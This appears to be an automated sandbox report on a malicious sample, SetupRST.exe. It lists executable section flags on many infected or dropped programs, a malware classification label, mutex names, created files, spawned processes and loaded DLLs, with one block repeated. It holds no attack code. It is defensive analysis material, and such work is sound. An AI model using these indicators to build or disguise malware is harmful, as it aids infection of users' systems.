Source: jusched.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7z.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zFM.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_click_helper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zG.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Acrobat.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcrobatInfo.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: acrobat_sl.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: SetupRST.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jucheck.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jusched.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7z.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zFM.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_click_helper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zG.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Acrobat.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcrobatInfo.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: acrobat_sl.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@9/144@82/18

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Jump to behavior

Source: C:\Users\user\Desktop\SetupRST.exe

File created: C:\Users\user\AppData\Roaming\8acd869c9487361.bin

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\SetupRST.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-8acd869c9487361-inf
Source: C:\Users\user\Desktop\SetupRST.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-8acd869c94873613d78ffaf-b
Source: C:\Windows\System32\alg.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-8acd869c94873619ea72c54-b
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Mutant created: \Sessions\1\BaseNamedObjects\SetupRST_Mutex

Source: C:\Users\user\Desktop\SetupRST.exe

File created: C:\Users\user\AppData\Local\Temp\RST74BF.tmp

Jump to behavior

Source: SetupRST.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\SetupRST.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SetupRST.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

File read: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SetupRST.exe "C:\Users\user\Desktop\SetupRST.exe"
Source: C:\Users\user\Desktop\SetupRST.exe	Process created: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe SetupRST.exe
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: C:\Users\user\Desktop\SetupRST.exe	Process created: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe SetupRST.exe	Jump to behavior

Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Section loaded: wintypes.dll	Jump to behavior
